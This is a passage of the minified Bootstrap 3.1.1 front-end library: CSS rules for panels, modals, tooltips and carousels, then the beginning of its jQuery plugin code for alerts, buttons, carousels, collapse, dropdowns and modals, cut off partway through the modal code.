td:last-child,.panel>.table:last-child>tfoot:last-child>tr:last-child td:last-child,.panel>.table-responsive:last-child>.table:last-child>tfoot:last-child>tr:last-child td:last-child,.panel>.table:last-child>tbody:last-child>tr:last-child th:last-child,.panel>.table-responsive:last-child>.table:last-child>tbody:last-child>tr:last-child th:last-child,.panel>.table:last-child>tfoot:last-child>tr:last-child th:last-child,.panel>.table-responsive:last-child>.table:last-child>tfoot:last-child>tr:last-child th:last-child{border-bottom-right-radius:3px}.panel>.panel-body+.table,.panel>.panel-body+.table-responsive{border-top:1px solid #ddd}.panel>.table>tbody:first-child>tr:first-child th,.panel>.table>tbody:first-child>tr:first-child td{border-top:0}.panel>.table-bordered,.panel>.table-responsive>.table-bordered{border:0}.panel>.table-bordered>thead>tr>th:first-child,.panel>.table-responsive>.table-bordered>thead>tr>th:first-child,.panel>.table-bordered>tbody>tr>th:first-child,.panel>.table-responsive>.table-bordered>tbody>tr>th:first-child,.panel>.table-bordered>tfoot>tr>th:first-child,.panel>.table-responsive>.table-bordered>tfoot>tr>th:first-child,.panel>.table-bordered>thead>tr>td:first-child,.panel>.table-responsive>.table-bordered>thead>tr>td:first-child,.panel>.table-bordered>tbody>tr>td:first-child,.panel>.table-responsive>.table-bordered>tbody>tr>td:first-child,.panel>.table-bordered>tfoot>tr>td:first-child,.panel>.table-responsive>.table-bordered>tfoot>tr>td:first-child{border-left:0}.panel>.table-bordered>thead>tr>th:last-child,.panel>.table-responsive>.table-bordered>thead>tr>th:last-child,.panel>.table-bordered>tbody>tr>th:last-child,.panel>.table-responsive>.table-bordered>tbody>tr>th:last-child,.panel>.table-bordered>tfoot>tr>th:last-child,.panel>.table-responsive>.table-bordered>tfoot>tr>th:last-child,.panel>.table-bordered>thead>tr>td:last-child,.panel>.table-responsive>.table-bordered>thead>tr>td:last-child,.panel>.table-bordered>tbody>tr>td:last-child,.panel>.table-responsive>.table-bordered>tbody>tr>td:last-child,.panel>.table-bordered>tfoot>tr>td:last-child,.panel>.table-responsive>.table-bordered>tfoot>tr>td:last-child{border-right:0}.panel>.table-bordered>thead>tr:first-child>td,.panel>.table-responsive>.table-bordered>thead>tr:first-child>td,.panel>.table-bordered>tbody>tr:first-child>td,.panel>.table-responsive>.table-bordered>tbody>tr:first-child>td,.panel>.table-bordered>thead>tr:first-child>th,.panel>.table-responsive>.table-bordered>thead>tr:first-child>th,.panel>.table-bordered>tbody>tr:first-child>th,.panel>.table-responsive>.table-bordered>tbody>tr:first-child>th{border-bottom:0}.panel>.table-bordered>tbody>tr:last-child>td,.panel>.table-responsive>.table-bordered>tbody>tr:last-child>td,.panel>.table-bordered>tfoot>tr:last-child>td,.panel>.table-responsive>.table-bordered>tfoot>tr:last-child>td,.panel>.table-bordered>tbody>tr:last-child>th,.panel>.table-responsive>.table-bordered>tbody>tr:last-child>th,.panel>.table-bordered>tfoot>tr:last-child>th,.panel>.table-responsive>.table-bordered>tfoot>tr:last-child>th{border-bottom:0}.panel>.table-responsive{border:0;margin-bottom:0}.panel-group{margin-bottom:20px}.panel-group .panel{margin-bottom:0;border-radius:4px;overflow:hidden}.panel-group .panel+.panel{margin-top:5px}.panel-group .panel-heading{border-bottom:0}.panel-group .panel-heading+.panel-collapse .panel-body{border-top:1px solid #ddd}.panel-group .panel-footer{border-top:0}.panel-group .panel-footer+.panel-collapse .panel-body{border-bottom:1px solid #ddd}.panel-default{border-color:#ddd}.panel-default>.panel-heading{color:#333;background-color:#f5f5f5;border-color:#ddd}.panel-default>.panel-heading+.panel-collapse .panel-body{border-top-color:#ddd}.panel-default>.panel-footer+.panel-collapse .panel-body{border-bottom-color:#ddd}.panel-primary{border-color:#428bca}.panel-primary>.panel-heading{color:#fff;background-color:#428bca;border-color:#428bca}.panel-primary>.panel-heading+.panel-collapse .panel-body{border-top-color:#428bca}.panel-primary>.panel-footer+.panel-collapse .panel-body{border-bottom-color:#428bca}.panel-success{border-color:#d6e9c6}.panel-success>.panel-heading{color:#3c763d;background-color:#dff0d8;border-color:#d6e9c6}.panel-success>.panel-heading+.panel-collapse .panel-body{border-top-color:#d6e9c6}.panel-success>.panel-footer+.panel-collapse .panel-body{border-bottom-color:#d6e9c6}.panel-info{border-color:#bce8f1}.panel-info>.panel-heading{color:#31708f;background-color:#d9edf7;border-color:#bce8f1}.panel-info>.panel-heading+.panel-collapse .panel-body{border-top-color:#bce8f1}.panel-info>.panel-footer+.panel-collapse .panel-body{border-bottom-color:#bce8f1}.panel-warning{border-color:#faebcc}.panel-warning>.panel-heading{color:#8a6d3b;background-color:#fcf8e3;border-color:#faebcc}.panel-warning>.panel-heading+.panel-collapse .panel-body{border-top-color:#faebcc}.panel-warning>.panel-footer+.panel-collapse .panel-body{border-bottom-color:#faebcc}.panel-danger{border-color:#ebccd1}.panel-danger>.panel-heading{color:#a94442;background-color:#f2dede;border-color:#ebccd1}.panel-danger>.panel-heading+.panel-collapse .panel-body{border-top-color:#ebccd1}.panel-danger>.panel-footer+.panel-collapse .panel-body{border-bottom-color:#ebccd1}.well{min-height:20px;padding:19px;margin-bottom:20px;background-color:#f5f5f5;border:1px solid #e3e3e3;border-radius:4px;-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,.05);box-shadow:inset 0 1px 1px rgba(0,0,0,.05)}.well blockquote{border-color:#ddd;border-color:rgba(0,0,0,.15)}.well-lg{padding:24px;border-radius:6px}.well-sm{padding:9px;border-radius:3px}.close{float:right;font-size:21px;font-weight:700;line-height:1;color:#000;text-shadow:0 1px 0 #fff;opacity:.2;filter:alpha(opacity=20)}.close:hover,.close:focus{color:#000;text-decoration:none;cursor:pointer;opacity:.5;filter:alpha(opacity=50)}button.close{padding:0;cursor:pointer;background:0 0;border:0;-webkit-appearance:none}.modal-open{overflow:hidden}.modal{display:none;overflow:auto;overflow-y:scroll;position:fixed;top:0;right:0;bottom:0;left:0;z-index:1050;-webkit-overflow-scrolling:touch;outline:0}.modal.fade .modal-dialog{-webkit-transform:translate(0,-25%);-ms-transform:translate(0,-25%);transform:translate(0,-25%);-webkit-transition:-webkit-transform .3s ease-out;-moz-transition:-moz-transform .3s ease-out;-o-transition:-o-transform .3s ease-out;transition:transform .3s ease-out}.modal.in .modal-dialog{-webkit-transform:translate(0,0);-ms-transform:translate(0,0);transform:translate(0,0)}.modal-dialog{position:relative;width:auto;margin:10px}.modal-content{position:relative;background-color:#fff;border:1px solid #999;border:1px solid rgba(0,0,0,.2);border-radius:6px;-webkit-box-shadow:0 3px 9px rgba(0,0,0,.5);box-shadow:0 3px 9px rgba(0,0,0,.5);background-clip:padding-box;outline:0}.modal-backdrop{position:fixed;top:0;right:0;bottom:0;left:0;z-index:1040;background-color:#000}.modal-backdrop.fade{opacity:0;filter:alpha(opacity=0)}.modal-backdrop.in{opacity:.5;filter:alpha(opacity=50)}.modal-header{padding:15px;border-bottom:1px solid #e5e5e5;min-height:16.42857143px}.modal-header .close{margin-top:-2px}.modal-title{margin:0;line-height:1.42857143}.modal-body{position:relative;padding:20px}.modal-footer{margin-top:15px;padding:19px 20px 20px;text-align:right;border-top:1px solid #e5e5e5}.modal-footer .btn+.btn{margin-left:5px;margin-bottom:0}.modal-footer .btn-group .btn+.btn{margin-left:-1px}.modal-footer .btn-block+.btn-block{margin-left:0}@media (min-width:768px){.modal-dialog{width:600px;margin:30px auto}.modal-content{-webkit-box-shadow:0 5px 15px rgba(0,0,0,.5);box-shadow:0 5px 15px rgba(0,0,0,.5)}.modal-sm{width:300px}}@media (min-width:992px){.modal-lg{width:900px}}.tooltip{position:absolute;z-index:1030;display:block;visibility:visible;font-size:12px;line-height:1.4;opacity:0;filter:alpha(opacity=0)}.tooltip.in{opacity:.9;filter:alpha(opacity=90)}.tooltip.top{margin-top:-3px;padding:5px 0}.tooltip.right{margin-left:3px;padding:0 5px}.tooltip.bottom{margin-top:3px;padding:5px 0}.tooltip.left{margin-left:-3px;padding:0 5px}.tooltip-inner{max-width:200px;padding:3px 8px;color:#fff;text-align:center;text-decoration:none;background-color:#000;border-radius:4px}.tooltip-arrow{position:absolute;width:0;height:0;border-color:transparent;border-style:solid}.tooltip.top .tooltip-arrow{bottom:0;left:50%;margin-left:-5px;border-width:5px 5px 0;border-top-color:#000}.tooltip.top-left .tooltip-arrow{bottom:0;left:5px;border-width:5px 5px 0;border-top-color:#000}.tooltip.top-right .tooltip-arrow{bottom:0;right:5px;border-width:5px 5px 0;border-top-color:#000}.tooltip.right .tooltip-arrow{top:50%;left:0;margin-top:-5px;border-width:5px 5px 5px 0;border-right-color:#000}.tooltip.left .tooltip-arrow{top:50%;right:0;margin-top:-5px;border-width:5px 0 5px 5px;border-left-color:#000}.tooltip.bottom .tooltip-arrow{top:0;left:50%;margin-left:-5px;border-width:0 5px 5px;border-bottom-color:#000}.tooltip.bottom-left .tooltip-arrow{top:0;left:5px;border-width:0 5px 5px;border-bottom-color:#000}.tooltip.bottom-right .tooltip-arrow{top:0;right:5px;border-width:0 5px 5px;border-bottom-color:#000}.popover{position:absolute;top:0;left:0;z-index:1010;display:none;max-width:276px;padding:1px;text-align:left;background-color:#fff;background-clip:padding-box;border:1px solid #ccc;border:1px solid rgba(0,0,0,.2);border-radius:6px;-webkit-box-shadow:0 5px 10px rgba(0,0,0,.2);box-shadow:0 5px 10px rgba(0,0,0,.2);white-space:normal}.popover.top{margin-top:-10px}.popover.right{margin-left:10px}.popover.bottom{margin-top:10px}.popover.left{margin-left:-10px}.popover-title{margin:0;padding:8px 14px;font-size:14px;font-weight:400;line-height:18px;background-color:#f7f7f7;border-bottom:1px solid #ebebeb;border-radius:5px 5px 0 0}.popover-content{padding:9px 14px}.popover>.arrow,.popover>.arrow:after{position:absolute;display:block;width:0;height:0;border-color:transparent;border-style:solid}.popover>.arrow{border-width:11px}.popover>.arrow:after{border-width:10px;content:""}.popover.top>.arrow{left:50%;margin-left:-11px;border-bottom-width:0;border-top-color:#999;border-top-color:rgba(0,0,0,.25);bottom:-11px}.popover.top>.arrow:after{content:" ";bottom:1px;margin-left:-10px;border-bottom-width:0;border-top-color:#fff}.popover.right>.arrow{top:50%;left:-11px;margin-top:-11px;border-left-width:0;border-right-color:#999;border-right-color:rgba(0,0,0,.25)}.popover.right>.arrow:after{content:" ";left:1px;bottom:-10px;border-left-width:0;border-right-color:#fff}.popover.bottom>.arrow{left:50%;margin-left:-11px;border-top-width:0;border-bottom-color:#999;border-bottom-color:rgba(0,0,0,.25);top:-11px}.popover.bottom>.arrow:after{content:" ";top:1px;margin-left:-10px;border-top-width:0;border-bottom-color:#fff}.popover.left>.arrow{top:50%;right:-11px;margin-top:-11px;border-right-width:0;border-left-color:#999;border-left-color:rgba(0,0,0,.25)}.popover.left>.arrow:after{content:" ";right:1px;border-right-width:0;border-left-color:#fff;bottom:-10px}.carousel{position:relative}.carousel-inner{position:relative;overflow:hidden;width:100%}.carousel-inner>.item{display:none;position:relative;-webkit-transition:.6s ease-in-out left;transition:.6s ease-in-out left}.carousel-inner>.item>img,.carousel-inner>.item>a>img{line-height:1}.carousel-inner>.active,.carousel-inner>.next,.carousel-inner>.prev{display:block}.carousel-inner>.active{left:0}.carousel-inner>.next,.carousel-inner>.prev{position:absolute;top:0;width:100%}.carousel-inner>.next{left:100%}.carousel-inner>.prev{left:-100%}.carousel-inner>.next.left,.carousel-inner>.prev.right{left:0}.carousel-inner>.active.left{left:-100%}.carousel-inner>.active.right{left:100%}.carousel-control{position:absolute;top:0;left:0;bottom:0;width:15%;opacity:.5;filter:alpha(opacity=50);font-size:20px;color:#fff;text-align:center;text-shadow:0 1px 2px rgba(0,0,0,.6)}.carousel-control.left{background-image:-webkit-linear-gradient(left,color-stop(rgba(0,0,0,.5) 0),color-stop(rgba(0,0,0,.0001) 100%));background-image:linear-gradient(to right,rgba(0,0,0,.5) 0,rgba(0,0,0,.0001) 100%);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#80000000', endColorstr='#00000000', GradientType=1)}.carousel-control.right{left:auto;right:0;background-image:-webkit-linear-gradient(left,color-stop(rgba(0,0,0,.0001) 0),color-stop(rgba(0,0,0,.5) 100%));background-image:linear-gradient(to right,rgba(0,0,0,.0001) 0,rgba(0,0,0,.5) 100%);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#00000000', endColorstr='#80000000', GradientType=1)}.carousel-control:hover,.carousel-control:focus{outline:0;color:#fff;text-decoration:none;opacity:.9;filter:alpha(opacity=90)}.carousel-control .icon-prev,.carousel-control .icon-next,.carousel-control .glyphicon-chevron-left,.carousel-control .glyphicon-chevron-right{position:absolute;top:50%;z-index:5;display:inline-block}.carousel-control .icon-prev,.carousel-control .glyphicon-chevron-left{left:50%}.carousel-control .icon-next,.carousel-control .glyphicon-chevron-right{right:50%}.carousel-control .icon-prev,.carousel-control .icon-next{width:20px;height:20px;margin-top:-10px;margin-left:-10px;font-family:serif}.carousel-control .icon-prev:before{content:'\2039'}.carousel-control .icon-next:before{content:'\203a'}.carousel-indicators{position:absolute;bottom:10px;left:50%;z-index:15;width:60%;margin-left:-30%;padding-left:0;list-style:none;text-align:center}.carousel-indicators li{display:inline-block;width:10px;height:10px;margin:1px;text-indent:-999px;border:1px solid #fff;border-radius:10px;cursor:pointer;background-color:#000 \9;background-color:rgba(0,0,0,0)}.carousel-indicators .active{margin:0;width:12px;height:12px;background-color:#fff}.carousel-caption{position:absolute;left:15%;right:15%;bottom:20px;z-index:10;padding-top:20px;padding-bottom:20px;color:#fff;text-align:center;text-shadow:0 1px 2px rgba(0,0,0,.6)}.carousel-caption .btn{text-shadow:none}@media screen and (min-width:768px){.carousel-control .glyphicon-chevron-left,.carousel-control .glyphicon-chevron-right,.carousel-control .icon-prev,.carousel-control .icon-next{width:30px;height:30px;margin-top:-15px;margin-left:-15px;font-size:30px}.carousel-caption{left:20%;right:20%;padding-bottom:30px}.carousel-indicators{bottom:20px}}.clearfix:before,.clearfix:after,.container:before,.container:after,.container-fluid:before,.container-fluid:after,.row:before,.row:after,.form-horizontal .form-group:before,.form-horizontal .form-group:after,.btn-toolbar:before,.btn-toolbar:after,.btn-group-vertical>.btn-group:before,.btn-group-vertical>.btn-group:after,.nav:before,.nav:after,.navbar:before,.navbar:after,.navbar-header:before,.navbar-header:after,.navbar-collapse:before,.navbar-collapse:after,.pager:before,.pager:after,.panel-body:before,.panel-body:after,.modal-footer:before,.modal-footer:after{content:" ";display:table}.clearfix:after,.container:after,.container-fluid:after,.row:after,.form-horizontal .form-group:after,.btn-toolbar:after,.btn-group-vertical>.btn-group:after,.nav:after,.navbar:after,.navbar-header:after,.navbar-collapse:after,.pager:after,.panel-body:after,.modal-footer:after{clear:both}.center-block{display:block;margin-left:auto;margin-right:auto}.pull-right{float:right!important}.pull-left{float:left!important}.hide{display:none!important}.show{display:block!important}.invisible{visibility:hidden}.text-hide{font:0/0 a;color:transparent;text-shadow:none;background-color:transparent;border:0}.hidden{display:none!important;visibility:hidden!important}.affix{position:fixed}@-ms-viewport{width:device-width}.visible-xs,.visible-sm,.visible-md,.visible-lg{display:none!important}@media (max-width:767px){.visible-xs{display:block!important}table.visible-xs{display:table}tr.visible-xs{display:table-row!important}th.visible-xs,td.visible-xs{display:table-cell!important}}@media (min-width:768px) and (max-width:991px){.visible-sm{display:block!important}table.visible-sm{display:table}tr.visible-sm{display:table-row!important}th.visible-sm,td.visible-sm{display:table-cell!important}}@media (min-width:992px) and (max-width:1199px){.visible-md{display:block!important}table.visible-md{display:table}tr.visible-md{display:table-row!important}th.visible-md,td.visible-md{display:table-cell!important}}@media (min-width:1200px){.visible-lg{display:block!important}table.visible-lg{display:table}tr.visible-lg{display:table-row!important}th.visible-lg,td.visible-lg{display:table-cell!important}}@media (max-width:767px){.hidden-xs{display:none!important}}@media (min-width:768px) and (max-width:991px){.hidden-sm{display:none!important}}@media (min-width:992px) and (max-width:1199px){.hidden-md{display:none!important}}@media (min-width:1200px){.hidden-lg{display:none!important}}.visible-print{display:none!important}@media print{.visible-print{display:block!important}table.visible-print{display:table}tr.visible-print{display:table-row!important}th.visible-print,td.visible-print{display:table-cell!important}}@media print{.hidden-print{display:none!important}}
0 /*!
1 * Bootstrap v3.1.1 (http://getbootstrap.com)
2 * Copyright 2011-2014 Twitter, Inc.
3 * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)
4 */
5 if("undefined"==typeof jQuery)throw new Error("Bootstrap's JavaScript requires jQuery");+function(a){"use strict";function b(){var a=document.createElement("bootstrap"),b={WebkitTransition:"webkitTransitionEnd",MozTransition:"transitionend",OTransition:"oTransitionEnd otransitionend",transition:"transitionend"};for(var c in b)if(void 0!==a.style[c])return{end:b[c]};return!1}a.fn.emulateTransitionEnd=function(b){var c=!1,d=this;a(this).one(a.support.transition.end,function(){c=!0});var e=function(){c||a(d).trigger(a.support.transition.end)};return setTimeout(e,b),this},a(function(){a.support.transition=b()})}(jQuery),+function(a){"use strict";var b='[data-dismiss="alert"]',c=function(c){a(c).on("click",b,this.close)};c.prototype.close=function(b){function c(){f.trigger("closed.bs.alert").remove()}var d=a(this),e=d.attr("data-target");e||(e=d.attr("href"),e=e&&e.replace(/.*(?=#[^\s]*$)/,""));var f=a(e);b&&b.preventDefault(),f.length||(f=d.hasClass("alert")?d:d.parent()),f.trigger(b=a.Event("close.bs.alert")),b.isDefaultPrevented()||(f.removeClass("in"),a.support.transition&&f.hasClass("fade")?f.one(a.support.transition.end,c).emulateTransitionEnd(150):c())};var d=a.fn.alert;a.fn.alert=function(b){return this.each(function(){var d=a(this),e=d.data("bs.alert");e||d.data("bs.alert",e=new c(this)),"string"==typeof b&&e[b].call(d)})},a.fn.alert.Constructor=c,a.fn.alert.noConflict=function(){return a.fn.alert=d,this},a(document).on("click.bs.alert.data-api",b,c.prototype.close)}(jQuery),+function(a){"use strict";var b=function(c,d){this.$element=a(c),this.options=a.extend({},b.DEFAULTS,d),this.isLoading=!1};b.DEFAULTS={loadingText:"loading..."},b.prototype.setState=function(b){var c="disabled",d=this.$element,e=d.is("input")?"val":"html",f=d.data();b+="Text",f.resetText||d.data("resetText",d[e]()),d[e](f[b]||this.options[b]),setTimeout(a.proxy(function(){"loadingText"==b?(this.isLoading=!0,d.addClass(c).attr(c,c)):this.isLoading&&(this.isLoading=!1,d.removeClass(c).removeAttr(c))},this),0)},b.prototype.toggle=function(){var a=!0,b=this.$element.closest('[data-toggle="buttons"]');if(b.length){var c=this.$element.find("input");"radio"==c.prop("type")&&(c.prop("checked")&&this.$element.hasClass("active")?a=!1:b.find(".active").removeClass("active")),a&&c.prop("checked",!this.$element.hasClass("active")).trigger("change")}a&&this.$element.toggleClass("active")};var c=a.fn.button;a.fn.button=function(c){return this.each(function(){var d=a(this),e=d.data("bs.button"),f="object"==typeof c&&c;e||d.data("bs.button",e=new b(this,f)),"toggle"==c?e.toggle():c&&e.setState(c)})},a.fn.button.Constructor=b,a.fn.button.noConflict=function(){return a.fn.button=c,this},a(document).on("click.bs.button.data-api","[data-toggle^=button]",function(b){var c=a(b.target);c.hasClass("btn")||(c=c.closest(".btn")),c.button("toggle"),b.preventDefault()})}(jQuery),+function(a){"use strict";var b=function(b,c){this.$element=a(b),this.$indicators=this.$element.find(".carousel-indicators"),this.options=c,this.paused=this.sliding=this.interval=this.$active=this.$items=null,"hover"==this.options.pause&&this.$element.on("mouseenter",a.proxy(this.pause,this)).on("mouseleave",a.proxy(this.cycle,this))};b.DEFAULTS={interval:5e3,pause:"hover",wrap:!0},b.prototype.cycle=function(b){return b||(this.paused=!1),this.interval&&clearInterval(this.interval),this.options.interval&&!this.paused&&(this.interval=setInterval(a.proxy(this.next,this),this.options.interval)),this},b.prototype.getActiveIndex=function(){return this.$active=this.$element.find(".item.active"),this.$items=this.$active.parent().children(),this.$items.index(this.$active)},b.prototype.to=function(b){var c=this,d=this.getActiveIndex();return b>this.$items.length-1||0>b?void 0:this.sliding?this.$element.one("slid.bs.carousel",function(){c.to(b)}):d==b?this.pause().cycle():this.slide(b>d?"next":"prev",a(this.$items[b]))},b.prototype.pause=function(b){return b||(this.paused=!0),this.$element.find(".next, .prev").length&&a.support.transition&&(this.$element.trigger(a.support.transition.end),this.cycle(!0)),this.interval=clearInterval(this.interval),this},b.prototype.next=function(){return this.sliding?void 0:this.slide("next")},b.prototype.prev=function(){return this.sliding?void 0:this.slide("prev")},b.prototype.slide=function(b,c){var d=this.$element.find(".item.active"),e=c||d[b](),f=this.interval,g="next"==b?"left":"right",h="next"==b?"first":"last",i=this;if(!e.length){if(!this.options.wrap)return;e=this.$element.find(".item")[h]()}if(e.hasClass("active"))return this.sliding=!1;var j=a.Event("slide.bs.carousel",{relatedTarget:e[0],direction:g});return this.$element.trigger(j),j.isDefaultPrevented()?void 0:(this.sliding=!0,f&&this.pause(),this.$indicators.length&&(this.$indicators.find(".active").removeClass("active"),this.$element.one("slid.bs.carousel",function(){var b=a(i.$indicators.children()[i.getActiveIndex()]);b&&b.addClass("active")})),a.support.transition&&this.$element.hasClass("slide")?(e.addClass(b),e[0].offsetWidth,d.addClass(g),e.addClass(g),d.one(a.support.transition.end,function(){e.removeClass([b,g].join(" ")).addClass("active"),d.removeClass(["active",g].join(" ")),i.sliding=!1,setTimeout(function(){i.$element.trigger("slid.bs.carousel")},0)}).emulateTransitionEnd(1e3*d.css("transition-duration").slice(0,-1))):(d.removeClass("active"),e.addClass("active"),this.sliding=!1,this.$element.trigger("slid.bs.carousel")),f&&this.cycle(),this)};var c=a.fn.carousel;a.fn.carousel=function(c){return this.each(function(){var d=a(this),e=d.data("bs.carousel"),f=a.extend({},b.DEFAULTS,d.data(),"object"==typeof c&&c),g="string"==typeof c?c:f.slide;e||d.data("bs.carousel",e=new b(this,f)),"number"==typeof c?e.to(c):g?e[g]():f.interval&&e.pause().cycle()})},a.fn.carousel.Constructor=b,a.fn.carousel.noConflict=function(){return a.fn.carousel=c,this},a(document).on("click.bs.carousel.data-api","[data-slide], [data-slide-to]",function(b){var c,d=a(this),e=a(d.attr("data-target")||(c=d.attr("href"))&&c.replace(/.*(?=#[^\s]+$)/,"")),f=a.extend({},e.data(),d.data()),g=d.attr("data-slide-to");g&&(f.interval=!1),e.carousel(f),(g=d.attr("data-slide-to"))&&e.data("bs.carousel").to(g),b.preventDefault()}),a(window).on("load",function(){a('[data-ride="carousel"]').each(function(){var b=a(this);b.carousel(b.data())})})}(jQuery),+function(a){"use strict";var b=function(c,d){this.$element=a(c),this.options=a.extend({},b.DEFAULTS,d),this.transitioning=null,this.options.parent&&(this.$parent=a(this.options.parent)),this.options.toggle&&this.toggle()};b.DEFAULTS={toggle:!0},b.prototype.dimension=function(){var a=this.$element.hasClass("width");return a?"width":"height"},b.prototype.show=function(){if(!this.transitioning&&!this.$element.hasClass("in")){var b=a.Event("show.bs.collapse");if(this.$element.trigger(b),!b.isDefaultPrevented()){var c=this.$parent&&this.$parent.find("> .panel > .in");if(c&&c.length){var d=c.data("bs.collapse");if(d&&d.transitioning)return;c.collapse("hide"),d||c.data("bs.collapse",null)}var e=this.dimension();this.$element.removeClass("collapse").addClass("collapsing")[e](0),this.transitioning=1;var f=function(){this.$element.removeClass("collapsing").addClass("collapse in")[e]("auto"),this.transitioning=0,this.$element.trigger("shown.bs.collapse")};if(!a.support.transition)return f.call(this);var g=a.camelCase(["scroll",e].join("-"));this.$element.one(a.support.transition.end,a.proxy(f,this)).emulateTransitionEnd(350)[e](this.$element[0][g])}}},b.prototype.hide=function(){if(!this.transitioning&&this.$element.hasClass("in")){var b=a.Event("hide.bs.collapse");if(this.$element.trigger(b),!b.isDefaultPrevented()){var c=this.dimension();this.$element[c](this.$element[c]())[0].offsetHeight,this.$element.addClass("collapsing").removeClass("collapse").removeClass("in"),this.transitioning=1;var d=function(){this.transitioning=0,this.$element.trigger("hidden.bs.collapse").removeClass("collapsing").addClass("collapse")};return a.support.transition?void this.$element[c](0).one(a.support.transition.end,a.proxy(d,this)).emulateTransitionEnd(350):d.call(this)}}},b.prototype.toggle=function(){this[this.$element.hasClass("in")?"hide":"show"]()};var c=a.fn.collapse;a.fn.collapse=function(c){return this.each(function(){var d=a(this),e=d.data("bs.collapse"),f=a.extend({},b.DEFAULTS,d.data(),"object"==typeof c&&c);!e&&f.toggle&&"show"==c&&(c=!c),e||d.data("bs.collapse",e=new b(this,f)),"string"==typeof c&&e[c]()})},a.fn.collapse.Constructor=b,a.fn.collapse.noConflict=function(){return a.fn.collapse=c,this},a(document).on("click.bs.collapse.data-api","[data-toggle=collapse]",function(b){var c,d=a(this),e=d.attr("data-target")||b.preventDefault()||(c=d.attr("href"))&&c.replace(/.*(?=#[^\s]+$)/,""),f=a(e),g=f.data("bs.collapse"),h=g?"toggle":d.data(),i=d.attr("data-parent"),j=i&&a(i);g&&g.transitioning||(j&&j.find('[data-toggle=collapse][data-parent="'+i+'"]').not(d).addClass("collapsed"),d[f.hasClass("in")?"addClass":"removeClass"]("collapsed")),f.collapse(h)})}(jQuery),+function(a){"use strict";function b(b){a(d).remove(),a(e).each(function(){var d=c(a(this)),e={relatedTarget:this};d.hasClass("open")&&(d.trigger(b=a.Event("hide.bs.dropdown",e)),b.isDefaultPrevented()||d.removeClass("open").trigger("hidden.bs.dropdown",e))})}function c(b){var c=b.attr("data-target");c||(c=b.attr("href"),c=c&&/#[A-Za-z]/.test(c)&&c.replace(/.*(?=#[^\s]*$)/,""));var d=c&&a(c);return d&&d.length?d:b.parent()}var d=".dropdown-backdrop",e="[data-toggle=dropdown]",f=function(b){a(b).on("click.bs.dropdown",this.toggle)};f.prototype.toggle=function(d){var e=a(this);if(!e.is(".disabled, :disabled")){var f=c(e),g=f.hasClass("open");if(b(),!g){"ontouchstart"in document.documentElement&&!f.closest(".navbar-nav").length&&a('<div class="dropdown-backdrop"/>').insertAfter(a(this)).on("click",b);var h={relatedTarget:this};if(f.trigger(d=a.Event("show.bs.dropdown",h)),d.isDefaultPrevented())return;f.toggleClass("open").trigger("shown.bs.dropdown",h),e.focus()}return!1}},f.prototype.keydown=function(b){if(/(38|40|27)/.test(b.keyCode)){var d=a(this);if(b.preventDefault(),b.stopPropagation(),!d.is(".disabled, :disabled")){var f=c(d),g=f.hasClass("open");if(!g||g&&27==b.keyCode)return 27==b.which&&f.find(e).focus(),d.click();var h=" li:not(.divider):visible a",i=f.find("[role=menu]"+h+", [role=listbox]"+h);if(i.length){var j=i.index(i.filter(":focus"));38==b.keyCode&&j>0&&j--,40==b.keyCode&&j<i.length-1&&j++,~j||(j=0),i.eq(j).focus()}}}};var g=a.fn.dropdown;a.fn.dropdown=function(b){return this.each(function(){var c=a(this),d=c.data("bs.dropdown");d||c.data("bs.dropdown",d=new f(this)),"string"==typeof b&&d[b].call(c)})},a.fn.dropdown.Constructor=f,a.fn.dropdown.noConflict=function(){return a.fn.dropdown=g,this},a(document).on("click.bs.dropdown.data-api",b).on("click.bs.dropdown.data-api",".dropdown form",function(a){a.stopPropagation()}).on("click.bs.dropdown.data-api",e,f.prototype.toggle).on("keydown.bs.dropdown.data-api",e+", [role=menu], [role=listbox]",f.prototype.keydown)}(jQuery),+function(a){"use strict";var b=function(b,c){this.options=c,this.$element=a(b),this.$backdrop=this.isShown=null,this.options.remote&&this.$element.find(".modal-content").load(this.options.remote,a.proxy(function(){this.$element.trigger("loaded.bs.modal")},this))};b.DEFAULTS={backdrop:!0,keyboard:!0,show:!0},b.prototype.toggle=function(a){return this[this.isShown?"hide":"show"](a)},b.prototype.show=function(b){var c=this,d=a.Event("show.bs.modal",{relatedTarget:b});this.$element.trigger(d),this.isShown||d.isDefaultPrevented()||(this.isShown=!0,this.escape(),this.$element.on("click.dismiss.bs.modal",'[data-dismiss="modal"]',a.proxy(this.hide,this)),this.backdrop(function(){var d=a.support.transition&&c.$element.hasClass("fade");c.$element.parent().length||c.$element.appendTo(document.body),c.$element.show().scrollTop(0),d&&c.$element[0].offsetWidth,c.$element.addClass("in").attr("aria-hidden",!1),c.enforceFocus();var e=a.Event("shown.bs.modal",{relatedTarget:b});d?c.$element.find(".modal-dialog").one(a.support.transition.end,function(){c.$element.focus().trigger(e)}).emulateTransitionEnd(300):c.$element.focus().trigger(e)}))},b.prototype.hide=function(b){b&&b.preventDefault(),b=a.Event("hide.bs.modal"),this.$element.trigger(b),this.isShown&&!b.isDefaultPrevented()&&(this.isShown=!1,this.escape(),a(document).off("focusin.bs.modal"),this.$element.removeClass("in").attr("aria-hidden",!0).off("click.dismiss.bs.modal"),a.support.transition&&this.$element.hasClass("fade")?this.$element.one(a.support.transition.end,a.proxy(this.hideModal,this)).emulateTransitionEnd(300):this.hideModal())},b.prototype.enforceFocus=function(){a(document).off("focusin.bs.modal").on("focusin.bs.modal",a.proxy(function(a){this.$element[0]===a.target||this.$element.has(a.target).length||this.$element.focus()},this))},b.prototype.escape=function(){this.isShown&&this.options.keyboard?this.$element.on("keyup.dismiss.bs.modal",a.proxy(function(a){27==a.which&&this.hide()},this)):this.isShown||this.$element.off("keyup.dismiss.bs.modal")},b.prototype.hideModal=function(){var a=this;this.$element.hide(),this.backdrop(function(){a.removeBackdrop(),a.$element.trigger("hidden.bs.modal")})},b.prototype.removeBackdrop=function(){this.$backdrop&&this.$backdrop.remove(),this.$backdrop=null},b.prototype.backdrop=function(b){var c=this.$element.hasClass("fade")?"fade":"";if(this.isShown&&this.options.backdrop){var d=a.support.transition&&c;if(this.$backdrop=a('<div class="modal-backdrop '+c+'" 